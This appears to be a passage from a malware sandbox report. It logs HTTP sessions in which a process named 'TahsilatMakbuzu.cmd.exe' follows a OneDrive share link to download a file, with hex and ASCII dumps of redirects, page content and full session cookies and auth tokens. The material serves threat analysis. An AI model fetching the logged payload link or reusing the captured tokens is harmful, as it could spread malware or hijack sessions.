2024-07-04 18:16:58 UTC	8192	IN	Data Raw: 22 3a 22 55 6e 41 75 74 68 22 2c 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 6b 74 4c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 22 2c 22 70 61 67 65 52 65 73 70 6f 6e 73 65 53 74 61 72 74 54 69 6d 65 22 3a 31 37 32 30 31 31 37 30 31 38 34 39 35 7d 3b 20 76 61 72 20 46 69 6c 65 73 43 6f 6e 66 69 67 3d 7b 22 68 63 69 64 22 3a 22 55 6e 41 75 74 68 22 2c 22 61 70 70 49 64 22 3a 22 31 31 34 31 31 34 37 36 34 38 22 2c 22 6e 61 76 43 61 6e 61 72 79 22 3a 22 22 2c 22 63 61 6e 61 72 79 22 3a 22 22 2c 22 73 6b 79 41 70 69 43 61 6e 61 72 79 22 3a 22 22 2c 22 65 6e 76 22 3a 22 70 72 6f 64 22 2c 22 64 66 22 3a 66 61 6c 73 65 2c 22 73 69 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 64 72 69 76 65 Data Ascii: ":"UnAuth","mkt":"en-US","mktLocale":"en-US","lang":"en","country":"","pageResponseStartTime":1720117018495}; var FilesConfig={"hcid":"UnAuth","appId":"1141147648","navCanary":"","canary":"","skyApiCanary":"","env":"prod","df":false,"si":"https://onedrive
2024-07-04 18:16:58 UTC	5729	IN	Data Raw: 22 3a 74 72 75 65 2c 22 39 34 37 32 31 31 42 45 2d 30 35 35 30 2d 34 33 33 44 2d 42 39 32 45 2d 33 44 43 39 41 32 37 30 34 31 41 32 22 3a 74 72 75 65 2c 22 38 38 32 43 30 41 44 38 2d 35 45 45 39 2d 34 33 39 42 2d 42 43 35 31 2d 31 31 31 34 43 37 45 33 34 31 33 41 22 3a 74 72 75 65 2c 22 37 31 46 43 43 36 36 39 2d 30 42 30 30 2d 34 44 43 36 2d 41 34 37 44 2d 43 38 46 37 32 30 46 44 41 32 31 37 22 3a 74 72 75 65 2c 22 33 46 45 41 41 33 39 38 2d 36 42 45 43 2d 34 33 43 46 2d 41 30 41 42 2d 42 30 31 46 35 39 39 34 35 37 43 42 22 3a 74 72 75 65 2c 22 44 41 44 37 36 42 36 46 2d 43 34 30 44 2d 34 35 38 38 2d 38 44 43 37 2d 31 34 33 43 36 43 37 41 31 36 44 45 22 3a 74 72 75 65 2c 22 43 36 42 36 37 44 32 30 2d 43 39 38 37 2d 34 36 44 31 2d 38 33 46 31 2d 30 30 35 Data Ascii: ":true,"947211BE-0550-433D-B92E-3DC9A27041A2":true,"882C0AD8-5EE9-439B-BC51-1114C7E3413A":true,"71FCC669-0B00-4DC6-A47D-C8F720FDA217":true,"3FEAA398-6BEC-43CF-A0AB-B01F599457CB":true,"DAD76B6F-C40D-4588-8DC7-143C6C7A16DE":true,"C6B67D20-C987-46D1-83F1-005
2024-07-04 18:16:58 UTC	8192	IN	Data Raw: 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 31 Data Ascii: 08EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267831
2024-07-04 18:16:58 UTC	8192	IN	Data Raw: 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c 22 Data Ascii: D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,"
2024-07-04 18:16:58 UTC	8192	IN	Data Raw: 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 31 Data Ascii: 3-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A1
2024-07-04 18:16:58 UTC	8192	IN	Data Raw: 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 41 Data Ascii: 4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4A
2024-07-04 18:16:58 UTC	8192	IN	Data Raw: 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 2d Data Ascii: 5B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542-
2024-07-04 18:16:58 UTC	8192	IN	Data Raw: 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 33 Data Ascii: e,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A3
2024-07-04 18:16:58 UTC	8192	IN	Data Raw: 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 72 Data Ascii: DDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49777	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:59 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:59 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL4PPF3D6F64202 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: mpPmgOx8LE6MRCxui8x9dw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: DF13416AE8414BB987C21087D40D0E8F Ref B: EWR30EDGE1420 Ref C: 2024-07-04T18:16:59Z Date: Thu, 04 Jul 2024 18:16:59 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49778	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:00 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:01 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:bQhZf1Wc3Ig=:WxA1CpRNAoWt6PylcnORmoGz6bfN5zbCzrUyPG5VX6I=:F; domain=.live.com; path=/ Set-Cookie: xid=b5655327-5b0d-4f9e-a871-84be3db40f72&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:00 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODIwLCJuYmYiOjE3MjAxMTcwMjAsImdpdmVuX25hbWUiOiI0NiIsImZhbWlseV9uYW1lIjoiV2FscnVzIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYzk5NzY4YzNlNWQ0NDM1MDIzNzQ1NmJlZGMwNzgxOTkiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAyMH0.Go8I7kaSm-LjGoZxHBst-Vv806wD-exss32kpvBA6myt0Oe1ovUb2E-bf_RQYDBlyF86DH3WDsgC8KiTOB1AC-RQms4Oj-UKa_iZ4HCB7AJm-gLvpwrQhQZIqFcfaQmtmPrizPZYN2bA7E4nSnsuc8nhRRCzz6ocLDGICZXu3hyLFHQjIH0Wg4p-2wuzIRuzvXTYEBdkiByszD0jbjLhEK_PonOco8x_1jdarRyChXwHOOEiJ-NyALfYnhoNgJ_mezYGZ664Jz7ENz-VTtx0HtrsfZcO606zn5h387EMdnkOJF8K7VGkaCmoAghZwGtIatK_wpooRGNYM8_Ovts0PQ; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:01 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-85jhc X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0CC28B44738842AB85445EC0260E145C Ref B: BN3EDGE0918 Ref C: 2024-07-04T18:17:00Z Date: Thu, 04 Jul 2024 18:17:00 GMT Connection: close
2024-07-04 18:17:01 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49779	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:01 UTC	1288	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODIwLCJuYmYiOjE3MjAxMTcwMjAsImdpdmVuX25hbWUiOiI0NiIsImZhbWlseV9uYW1lIjoiV2FscnVzIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYzk5NzY4YzNlNWQ0NDM1MDIzNzQ1NmJlZGMwNzgxOTkiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAyMH0.Go8I7kaSm-LjGoZxHBst-Vv806wD-exss32kpvBA6myt0Oe1ovUb2E-bf_RQYDBlyF86DH3WDsgC8KiTOB1AC-RQms4Oj-UKa_iZ4HCB7AJm-gLvpwrQhQZIqFcfaQmtmPrizPZYN2bA7E4nSnsuc8nhRRCzz6ocLDGICZXu3hyLFHQjIH0Wg4p-2wuzIRuzvXTYEBdkiByszD0jbjLhEK_PonOco8x_1jdarRyChXwHOOEiJ-NyALfYnhoNgJ_mezYGZ664Jz7ENz-VTtx0HtrsfZcO606zn5h387EMdnkOJF8K7VGkaCmoAghZwGtIatK_wpooRGNYM8_Ovts0PQ; E=P:bQhZf1Wc3Ig=:WxA1CpRNAoWt6PylcnORmoGz6bfN5zbCzrUyPG5VX6I=:F; xid=b5655327-5b0d-4f9e-a871-84be3db40 [TRUNCATED]
2024-07-04 18:17:01 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,9697,0,59110,25 X-SharePointHealthScore: 1 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 3a1239a1-4045-5000-cf98-ed72d8859fce request-id: 3a1239a1-4045-5000-cf98-ed72d8859fce MS-CV: oTkSOkVAAFDPmO1y2IWfzg.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 31 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: FD624F16C6564A1AA30EFC73E835ECF8 Ref B: BN3EDGE0713 Ref C: 2024-07-04T18:17:01Z Date: Thu, 04 Jul 2024 18:17:00 GMT Connection: close
2024-07-04 18:17:01 UTC	124	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8"
2024-07-04 18:17:01 UTC	8192	IN	Data Raw: 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 69 6d 61 67 65 73 2f 6f 64 62 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 72 65 76 3d 34 37 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 20 69 64 3d 22 66 61 76 69 63 6f 6e 22 20 2f 3e 3c 74 Data Ascii: /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" /><link rel="shortcut icon" href="/_layouts/15/images/odbfavicon.ico?rev=47" type="image/vnd.microsoft.icon" id="favicon" /><t
2024-07-04 18:17:01 UTC	6263	IN	Data Raw: 39 42 36 46 32 42 41 22 3a 74 72 75 65 2c 22 46 33 43 34 34 33 43 34 2d 31 36 37 38 2d 34 33 34 39 2d 41 36 43 35 2d 45 35 37 35 32 42 39 35 43 33 46 34 22 3a 74 72 75 65 2c 22 37 34 45 38 37 34 32 38 2d 38 33 46 42 2d 34 31 31 36 2d 39 42 39 38 2d 34 41 37 44 34 46 31 32 36 45 41 32 22 3a 74 72 75 65 2c 22 31 37 35 34 38 33 41 37 2d 35 37 44 34 2d 34 32 33 33 2d 42 34 39 42 2d 42 39 36 33 33 39 41 35 41 35 46 45 22 3a 74 72 75 65 2c 22 32 44 32 37 38 44 46 42 2d 41 46 41 46 2d 34 42 33 45 2d 38 35 42 42 2d 37 41 39 43 35 41 37 30 39 33 33 30 22 3a 74 72 75 65 2c 22 33 43 39 35 43 45 37 33 2d 44 38 33 41 2d 34 39 37 34 2d 42 38 41 31 2d 43 34 41 30 39 46 32 36 31 41 44 30 22 3a 74 72 75 65 2c 22 32 32 43 45 37 42 30 35 2d 32 45 37 43 2d 34 42 31 38 2d 39 Data Ascii: 9B6F2BA":true,"F3C443C4-1678-4349-A6C5-E5752B95C3F4":true,"74E87428-83FB-4116-9B98-4A7D4F126EA2":true,"175483A7-57D4-4233-B49B-B96339A5A5FE":true,"2D278DFB-AFAF-4B3E-85BB-7A9C5A709330":true,"3C95CE73-D83A-4974-B8A1-C4A09F261AD0":true,"22CE7B05-2E7C-4B18-9
2024-07-04 18:17:01 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 